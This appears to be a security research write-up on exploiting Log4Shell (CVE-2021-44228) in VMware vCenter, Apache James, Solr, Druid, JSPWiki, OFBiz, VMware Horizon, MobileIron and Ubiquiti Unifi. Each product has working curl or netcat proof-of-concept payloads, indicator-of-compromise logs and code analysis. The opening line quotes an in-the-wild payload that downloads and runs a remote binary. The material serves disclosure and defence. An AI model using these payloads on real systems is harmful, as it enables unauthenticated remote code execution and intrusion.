POST /analytics/telemetry/ph/api/hyper/send?_c&_i=${jndi:ldap://81.30.157.43:1389/Basic/Command/Base64/Y2QgL3RtcDt3Z2V0IGh0dHA6Ly8xNTUuOTQuMTU0LjE3MC9iYmI7Y3VybCAtTyBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2NobW9kICt4IGJiYjsuL2JiYg==} HTTP/1.1

We recognized the URI as a VCenter endpoint, so we attempted to validate the payload in our test environment. That payload does not work. In fact, Apache Coyote will not allow any curly brace characters ({ or }) in the HTTP request URI. However, we noticed that VCenter was generating log entries specific to the _c variable. Simply inserting the payload there and URL encoding the curly braces resulted in the payload landing.


Apache James Vulnerable to CVE-2021-44228

The SMTP exploit was originally posted on Twitter by David Litchfield. The POP3 version was written by Rapid7.

Severity

Apache James is trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

SMTP

albinolobster@ubuntu:~$ echo 🦞 > email.txt
albinolobster@ubuntu:~$ curl --url "smtp://localhost" --user "test:test" --mail-from '${jndi:ldap://localhost:1270/a}@gmail.com' --mail-rcpt 'test' --upload-file email.txt 

POP3

albinolobster@ubuntu:~$ nc localhost 110
+OK <-695462989.1639426418187@ubuntu> POP3 server (JAMES POP3 Server ) ready 
USER ${jndi:ldap://10.0.0.6:1270/abc}
+OK
PASS lol

Indicator of Compromise

From james_transport-protocols.log:

13-Dec-2021 11:28:58.637 INFO [smtpserver-executor-22] org.apache.james.protocols.smtp.core.MailCmdHandler.doMAILFilter:208 - Error parsing sender address: <${jndi:ldap://localhost:1270/a}@gmail.com>
javax.mail.internet.AddressException: Invalid character in local-part (user account) at position 7 in '${jndi:ldap://localhost:1270/a}@gmail.com'
	at org.apache.james.core.MailAddress.parseUnquotedLocalPart(MailAddress.java:522) ~[james-core-3.6.0.jar:3.6.0]
	at org.apache.james.core.MailAddress.parseUnquotedLocalPartOrThrowException(MailAddress.java:248) ~[james-core-3.6.0.jar:3.6.0]
	at org.apache.james.core.MailAddress.<init>(MailAddress.java:189) ~[james-core-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.smtp.core.MailCmdHandler.toMaybeSender(MailCmdHandler.java:224) ~[protocols-smtp-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.smtp.core.MailCmdHandler.doMAILFilter(MailCmdHandler.java:204) [protocols-smtp-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.smtp.core.MailCmdHandler.doFilterChecks(MailCmdHandler.java:130) [protocols-smtp-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.smtp.core.AbstractHookableCmdHandler.onCommand(AbstractHookableCmdHandler.java:72) [protocols-smtp-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.smtp.core.MailCmdHandler.onCommand(MailCmdHandler.java:86) [protocols-smtp-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.smtp.core.MailCmdHandler.onCommand(MailCmdHandler.java:53) [protocols-smtp-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.api.handler.CommandDispatcher.dispatchCommandHandlers(CommandDispatcher.java:162) [protocols-api-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.api.handler.CommandDispatcher.onLine(CommandDispatcher.java:143) [protocols-api-3.6.0.jar:3.6.0]
	at org.apache.james.protocols.netty.BasicChannelUpstreamHandler.messageReceived(BasicChannelUpstreamHandler.java:152) [protocols-netty-3.6.0.jar:3.6.0]
	at org.apache.james.smtpserver.netty.SMTPChannelUpstreamHandler.messageReceived(SMTPChannelUpstreamHandler.java:61) [james-server-protocols-smtp-3.6.0.jar:3.6.0]
	at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.channel.SimpleChannelUpstreamHandler.messageReceived(SimpleChannelUpstreamHandler.java:124) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.handler.execution.ChannelUpstreamEventRunnable.doRun(ChannelUpstreamEventRunnable.java:43) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.handler.execution.ChannelEventRunnable.run(ChannelEventRunnable.java:67) [netty-3.10.6.Final.jar:?]
	at org.jboss.netty.handler.execution.OrderedMemoryAwareThreadPoolExecutor$ChildExecutor.run(OrderedMemoryAwareThreadPoolExecutor.java:314) [netty-3.10.6.Final.jar:?]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]

Pop3 errors in james.log:

13-Dec-2021 12:14:04.880 INFO [pop3server-executor-81] org.apache.james.user.lib.UsersRepositoryImpl.lambda$test$1:130 - Could not retrieve user Username{localPart=${jndi:ldap://10.0.0.6:1270/abc}, domainPart=Optional.empty}. Password is unverified.
13-Dec-2021 12:18:03.644 INFO [pop3server-executor-81] org.apache.james.pop3server.core.PassCmdHandler.auth:105 - Bad credential supplied for ${jndi:ldap://10.0.0.6:1270/abc} with remote address localhost/127.0.0.1

Write Up

David Litchfield posted the original SMTP exploit showing the mail server Apache James is trivially exploitable via the log4j vulnerability. The server logs a lot of information, and is therefore vulnerable from a variety of vectors. Above we posted an additional POP3 vector. Although we did not immediately find an unauthenticated IMAP vector.


Apache Solr Vulnerable to CVE-2021-44228

Severity

Apache Solr is trivially exploitable by a remote and unauthenticated attacker when in its default configuration.

Proof of Concept Exploit

By default, authentication is not enabled. When in that state, the following will successfully exploit the target:

curl 'http://localhost:8983/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://10.0.0.6:1270/abc%7D&wt=json'

Indicator of Compromise

This log entry is from /server/logs file:

2021-12-13 22:30:49.955 INFO  (qtp1052253947-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={name=${jndi:ldap://10.0.0.6:1270/abc}&action=CREATE&wt=json} status=400 QTime=10

This is actually followed by further entries with the lead in ‘${jndi:’ removed.

2021-12-13 22:33:18.277 INFO  (qtp1052253947-22) [   x:ldap://10.0.0.6:1270/abc] o.a.s.h.a.CoreAdminOperation core create command name=ldap://10.0.0.6:1270/abc&action=CREATE&wt=json
2021-12-13 22:33:18.278 ERROR (qtp1052253947-22) [   ] o.a.s.h.RequestHandlerBase org.apache.solr.common.SolrException: Error CREATEing SolrCore 'ldap://10.0.0.6:1270/abc': Unable to create core [ldap://10.0.0.6:1270/abc] Caused by: Invalid core: [ldap://10.0.0.6:1270/abc]. core names must consist entirely of periods, underscores, hyphens, and alphanumerics as well not start with a hyphen => org.apache.solr.common.SolrException: Error CREATEing SolrCore 'ldap://10.0.0.6:1270/abc': Unable to create core [ldap://10.0.0.6:1270/abc] Caused by: Invalid core: [ldap://10.0.0.6:1270/abc]. core names must consist entirely of periods, underscores, hyphens, and alphanumerics as well not start with a hyphen
	at org.apache.solr.core.CoreContainer.create(CoreContainer.java:1372)
org.apache.solr.common.SolrException: Error CREATEing SolrCore 'ldap://10.0.0.6:1270/abc': Unable to create core [ldap://10.0.0.6:1270/abc] Caused by: Invalid core: [ldap://10.0.0.6:1270/abc]. core names must consist entirely of periods, underscores, hyphens, and alphanumerics as well not start with a hyphen

Write-up

The exploit above abuses a log entry when the user fails to create a new Solr core. This is an administrative function and the attack is mitigated if authentication is configured. Unfortunately, that isn’t a trivial task.

When authentication is enabled, there is no immediately obvious (at this time) exploit vector for the unauthenticated attacker. However, Apache Solr is a good size code base and there is a fair amount of logging. A secondary, non-administrative vector wouldn’t be a surprise.


Apache Druid Vulnerable to CVE-2021-44228

Severity

Apache Druid is trivially exploitable by a remote and unauthenticated attacker when in its default configuration.

Proof of Concept Exploit

By default, authentication is not enabled. When in that state, the following will successfully exploit the target:

curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'

Indicator of Compromise

2021-12-14T15:23:26,952 WARN [qtp91273747-111] org.apache.druid.server.lookup.cache.LookupCoordinatorManager - Requested delete of tier [${jndi:ldap://localhost:1270/abc}] that does not exist!

Write-up

Apache Druid spins up a number of interfaces, one of which is an HTTP “unified-console”. The console, by default, doesn’t require authentication. This interface does not do a lot of logging, and when it does it’s typically for extreme cases and doesn’t always include attacker controlled data. One reliable function is the deleteTier function in LookupCoordinatorManager.java:

public boolean deleteTier(final String tier, AuditInfo auditInfo)
{
 Preconditions.checkState(lifecycleLock.awaitStarted(5, TimeUnit.SECONDS), "not started");

 synchronized (this) {
   final Map<String, Map<String, LookupExtractorFactoryMapContainer>> priorSpec = getKnownLookups();
   if (priorSpec == null) {
     LOG.warn("Requested delete tier [%s]. But no lookups exist!", tier);
     return false;
   }
   final Map<String, Map<String, LookupExtractorFactoryMapContainer>> updateSpec = new HashMap<>(priorSpec);

   if (updateSpec.remove(tier) == null) {
     LOG.warn("Requested delete of tier [%s] that does not exist!", tier);
     return false;
   }

   return configManager.set(LOOKUP_CONFIG_KEY, updateSpec, auditInfo).isOk();
 }

Above we can see two log messages that will log the requested tier. An attacker can reach that path via an HTTP DELETE request to /druid/coordinator/v1/lookups/config/tier_variable (see LookupCoordinatorResource.java). The attacker only needs to form the log4j payload to conform to the server’s expectations regarding special characters. {, }, and / need to be URL encoded, but otherwise that’s it. Again, the final form is:

curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'

Apache JSPWiki Vulnerable to CVE-2021-44228

Severity

Apache JSPWiki is trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

curl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

Indicator of Compromise

From catalina.out:

[INFO ] 2021-12-14 11:21:15.519 [http-nio-8080-exec-3] o.a.w.WikiServlet - Request for page: ${jndi:ldap:${::-/}/10.0.0.6:1270/abc}/

Write-up

Apache JSPWiki’s WikiServlet.java handles HTTP request to /wiki/*. From web.xml:

   <servlet-mapping>
       <servlet-name>WikiServlet</servlet-name>
       <url-pattern>/wiki/*</url-pattern>
   </servlet-mapping>

The servlet logs every HTTP GET request it receives.

@Override
public void doGet( final HttpServletRequest req, final HttpServletResponse res ) throws IOException, ServletException {
  String pageName = URLConstructor.parsePageFromURL( req, m_engine.getContentEncoding() );

  log.info( "Request for page: " + pageName );
  if( pageName == null ) {
      pageName = m_engine.getFrontPage(); // FIXME: Add special pages as well
  }

  final String jspPage = m_engine.getManager( URLConstructor.class ).getForwardPage( req );
  final RequestDispatcher dispatcher = req.getRequestDispatcher( "/" + jspPage + "?page=" +
                                                                 m_engine.encodeName( pageName ) + "&" + req.getQueryString() );

  dispatcher.forward( req, res );
}

As such, it’s trivial to introduce the log4j payload. The only complication is how Tomcat handles ‘//’, but we’ve previously dealt with this in Struts2 (variant 2). As such the final payload looks like:

curl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

Apache OFBiz Vulnerable to CVE-2021-44228

Severity

Apache OFBiz is trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

curl --insecure -vv -H "Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main

Indicator of Compromise

From ofbiz.log:

2021-12-14 12:50:07,043 |sse-nio-8443-exec-16 |VisitHandler                  |I| Found visitorId [${jndi:ldap://localhost:1270/abc}] in cookie
2021-12-14 12:50:07,045 |sse-nio-8443-exec-16 |VisitHandler                  |I| The visitorId [${jndi:ldap://localhost:1270/abc}] found in cookie was invalid, creating new Visitor with ID [10010]

Write-up

The Apache OFBiz framework assigns the “OFBiz.Visitor” cookie to new visitors. VisitHandler.java looks for this cookie value and logs it if it is present:

// first try to get the current ID from the visitor cookie
String cookieVisitorId = null;
Cookie[] cookies = request.getCookies();
if (Debug.verboseOn()) {
  Debug.logVerbose("Cookies:" + String.join(",", Arrays.stream(cookies).toArray(String[]::new)), MODULE);
}
if (cookies != null) {
  for (int i = 0; i < cookies.length; i++) {
      if (cookies[i].getName().equals(VISITOR_COOKIE_NAME)) {
          cookieVisitorId = cookies[i].getValue();
          break;
      }
  }
}

if (Debug.infoOn()) {
  Debug.logInfo("Found visitorId [" + cookieVisitorId + "] in cookie", MODULE);
}

The default setting for log4j in the framework is “Info” so the if statement passes and the provided cookie is logged.

This is another application that is hosted on Tomcat, so the attacker does have to discover the base URI, but once discovered exploitation is trivial.


Manage Engine Products

We analyzed Manage Engine ADAudit Plus after the company released a patch. We don’t believe ADAudit Plus was vulnerable to log4shell. The product was using log4j 1.2.15 before the company produced a patch. We looked at a handful of other Manage Engine products including ADManager Plus, Desktop Centeral, ADSelfService Plus, and ServiceDesk Plus. All appeared to use log4j 1.x and are therefore not vulnerable.


VMWare Horizon Server Vulnerable to CVE-2021-44228

This analysis was made possible thanks to @rwincey.

Severity

VMWare Horizon Server is trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

curl -vv -H "Accept-Language: \${jndi:ldap://10.0.0.6:1270/lol}" --insecure https://10.0.0.32/portal/info.jsp

Indicator of Compromise

From C:\ProgramData\VMware\VDM\logs\debug-yyyy-mm-dd-*.txt

2021-12-23T09:33:39.417-05:00 DEBUG (0FA8-0FC8) <console-redirection> [ws_TomcatService] STDOUT: DEBUG  2021-12-23T09:33:31,250 690043464       com.vmware.vdi.installer.ui.utils.InstallerUtils        [ajp-nio-127.0.0.1-8009-exec-6] Accept-Language: ${jndi:ldap://10.0.0.6:1270/lol}

Write-up

The vulnerable code can be found in InstallerUtils.class within portal.war:

public static String getWebClientInfo(HttpServletRequest request, HttpServletResponse response) {
  Dict dict = getCurrentDict(request, "portal-version");
  JsonObjectBuilder json = Json.createObjectBuilder();
  String acceptLanguage = request.getHeader("Accept-Language");
  if (null == acceptLanguage)
    acceptLanguage = "en-US"; 
  json.add("acceptLanguage", acceptLanguage);
  if (log.isDebugEnabled())
    log.debug("Accept-Language: " + acceptLanguage); 

The snippet above shows VMWare Horizon reading the contents of the attacker provided Accept-Language HTTP header and logging the value if “debug” is enabled. We found that “debug” is always enabled.

VMWare Horizon does provide a tool to change the logging levels. Here is an example of the CLI interface:

Set log levels for VMware Horizon (8.4)
Checking the VMware Horizon role this computer plays by examining installed MSIs...
This computer has 'VMware Horizon Connection Server' installed
Please select a log level. Note that increased logging will slow your
connection broker down and will generate much larger log files.
  1. View Info
  2. View Debug
  3. View Full
or...
  0. Reset to installation defaults
Choice [blank to exit]:

Setting the value to 1 should, in theory, prevent the vulnerable logging method from being executed. However, in our testing, we found that the vulnerable code is invoked no matter the user configured log level.

Note that there are reports of this endpoint being exploited in the wild. See this tweet from @1ZRR4H for additional details.


WebLogic Unconfirmed

Oracle released an advisory indicating that WebLogic server is vulnerable to log4j exploits. Furthermore, @bad_packets tweeted a payload that targeted port 7001, leading us to believe that WebLogic might be exploitable. However, we were not able to confirm the exploitability of WebLogic.

We immediately ruled out version 10.3.6 because it only has the 1.x versions of log4j. Versions 12.x – 14.1.1 have multiple versions of log4j. They ship with the 1.x version, the 2.x version, and their own com.bea.core.apache.log4j version. So we need to find usage of the 2.x libraries, but we did not find any.

The most obvious location for attackers to go after is the access log, and, in fact, that is where the payload that @bad_packets tweeted would land. Simply using this curl command will land the attacker in the access log.

curl -vv --path-as-is "http://10.0.0.7:7001/\$\{jndi:ldap://10.0.0.3:1270/a\}"

Will generate the log entry in access.log:

10.0.0.3 - - [16/Dec/2021:10:52:12 -0500] "GET /${jndi:ldap://10.0.0.3:1270/a} HTTP/1.1" 404 1164 

But that doesn’t generate a callback. Presumably, that part of the code base is still using the 1.x version of log4j.

Similarly, we tried triggering the callback via the management console by generating an exception. Unfortunately, this didn’t yield a callback either.

<Dec 15, 2021 4:55:17,256 PM EST> <Warning> <Management> <BEA-141191> <The prepare phase of the configuration update failed with an exception.
weblogic.descriptor.BeanUpdateRejectedException: ${jndi:ldap://10.0.0.3/abc}
        at weblogic.server.channels.ChannelValidationListener.checkChannelConsistencyForUpdatedConfig(ChannelValidationListener.java:134)
        at weblogic.server.channels.ChannelValidationListener.prepareUpdate(ChannelValidationListener.java:47)
        at weblogic.descriptor.internal.DescriptorImpl$Update.prepare(DescriptorImpl.java:684)
        at weblogic.descriptor.internal.DescriptorImpl.prepareUpdateDiff(DescriptorImpl.java:257)
        at weblogic.management.provider.internal.RuntimeAccessDeploymentReceiverService.prepareUpdateDiff(RuntimeAccessDeploymentReceiverService.java:2137)
        Truncated. see log file for complete stacktrace
Caused By: weblogic.management.configuration.ConfigurationException: ${jndi:ldap://10.0.0.3/abc}
        at weblogic.protocol.configuration.ChannelHelper.parseInetAddress(ChannelHelper.java:133)
        at weblogic.protocol.configuration.ChannelHelper.parseServerListenAddress(ChannelHelper.java:259)
        at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:67)
        at weblogic.server.channels.ChannelValidationListener.checkChannelConsistencyForUpdatedConfig(ChannelValidationListener.java:131)
        at weblogic.server.channels.ChannelValidationListe

The use of log4j 2.x is presumably in newer sections of WebLogic. The two vectors we tested are carried over from older versions of WebLogic that exclusively used log4j 1.x. Since the APIs between the log4j versions are slightly different, the developers presumably didn’t put in the effort to convert their old logging messages to the new library.

While we aren’t ruling out WebLogic being vulnerable to this attack, we don’t believe the most obvious vectors are viable.


MobileIron Vulnerable to CVE-2021-44228

Severity

MobileIron is trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

Note that @rwincey has previously posted the HTTP payload to their GitHub repository. However, after looking at it we’ve come up with this curl command as the minimized proof of concept:

curl -vv --insecure -H "Referer: https://10.0.0.20/mifs/user/login.jsp" -d "j_username=\${jndi:ldap://10.0.0.6:1270}&j_password=lol&logincontext=employee" https://10.0.0.20/mifs/j_spring_security_check

Note that the Referer field must be valid and the log4j payload is in the j_username parameter.

Indicator of Compromise

From the MobileIron command line interface, you can find indicators by executing:

show log mifs.log

And:

show log catalina.out

The mifs.log log contains a variety of log entries associated with the https://<host>/mifs endpoint. The proof of concept above gets logged to mifs.log because of a failed login attempt. So anything like this is suspicious:

2021-12-20 21:44:41,385 ERROR [LocalHostAuthenticationProvider.authenticate:76] (http-nio-127.0.0.1-8081-exec-5:[])  {pathInfo=null} Cannot find user '${jndi:ldap://10.0.0.6:1270}'
2021-12-20 21:50:12,486 INFO  [MIUserServiceImpl.updateFailedLoginStatus:3436] (http-nio-127.0.0.1-8081-exec-5:[])  {pathInfo=null} User ${jndi:ldap://10.0.0.6:1270} failed to login attempt 1 from ipaddress 10.0.0.6
2021-12-20 21:50:12,491 WARN  [MIUserServiceImpl.saveFailedLoginAttempts:2987] (http-nio-127.0.0.1-8081-exec-5:[])  {pathInfo=null} No User found with username ${jndi:ldap://10.0.0.6:1270}

Catalina.out is where you’ll find the result of the log4j attack. In our test setup, the connection gets killed by netcat, and results in this output:

2021-12-20 21:50:12,492 http-nio-127.0.0.1-8081-exec-5 WARN Error looking up JNDI resource [ldap://10.0.0.6:1270]. javax.naming.CommunicationException: 10.0.0.6:1270 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
        at com.sun.jndi.ldap.Connection.<init>(Connection.java:236)
        at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
        at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1609)
        at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)
        at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
        at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
        at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
        at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
        at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
        at javax.naming.InitialContext.lookup(InitialContext.java:417)
        at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
        at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
etc

This is only one example of exploiting MobileIron, and it would not be surprising if there were a number of others. Prioritize patching this as soon as possible.


Ubiquiti Unifi Controller Vulnerable to CVE-2021-44228

We believe the first proof of concept for the Ubiquiti Unifi Controller was posted by @sprocket_ed.

Severity

Ubiquiti Unifi Controller before version 6.5.54 is trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

curl -vv --insecure -d '{"username":"admin","password":"lolwat","remember":"${jndi:ldap://10.0.0.6:1270/lol}","strict":true}' https://10.0.0.4:8443/api/login

Indicator of Compromise

The following log entry is from the Windows version of Ubiquiti Unifi, and can be found in base_install_directory/Ubiquiti Unifi/logs/server:

[2021-12-23T11:43:08,301] <webapi-15> WARN  sanitize - Pattern not matched, key:value "'remember':'${jndi:ldap://10.0.0.6:1270/lol}'" invalid

Write-up

The log entry is generated by the method o00000 in OoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.class from ace.jar.

private void o00000(Pattern paramPattern, String paramString1, String paramString2) {
  if (paramString2 == null) {
    öÔÓ000.warn("Value empty, key: {}", paramString1);
    throw Sanitizable.InvalidPayload.String;
  } 
  if (StringUtils.isNotEmpty(paramPattern.toString()) && !paramPattern.matcher(paramString2).matches()) {
    öÔÓ000.warn("Pattern not matched, key:value \"'{}':'{}'\" invalid", paramString1, paramString2);
    throw new Sanitizable.InvalidPayload(Sanitizable.InvalidPayload.String.getMessage(), new java.lang.Object[] { "validationError", new ValidationError(paramPattern.toString(), paramString1) });
  } 
}

The above code is called by ApiServlet.class to sanitize the attacker’s HTTP payload. Specifically, the authenticationRequest.sanitize() call below triggers the logic to examine the attacker’s input.

private A super(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
  java.lang.String str1 = paramHttpServletRequest.getMethod();
  java.lang.String str2 = paramHttpServletRequest.getRequestURI();
  s s = C.ö00000();
  newsuper newsuper = C.ÖÒ0000();
  String str = C.ØÒ0000();
  if ("/api/login".equals(str2) && "POST".equals(str1)) {
    AuthenticationRequest authenticationRequest = (AuthenticationRequest)X.parseJSON(AuthenticationRequest.class, FileCopyUtils.copyToString(paramHttpServletRequest.getReader()));
    authenticationRequest.sanitize();

The error occurs when the server is attempting to validate that the provided remember variable is a boolean (true or false). However, the server finds a log4j payload instead and logs this as an error. Obviously that means the strict variable could also be used as a log4j payload entry point as well:

curl -vv --insecure -d '{"username":"admin","password":"lolwat","remember":true,"strict":"${jndi:ldap://10.0.0.6:1270/lol}"}' https://10.0.0.4:8443/api/login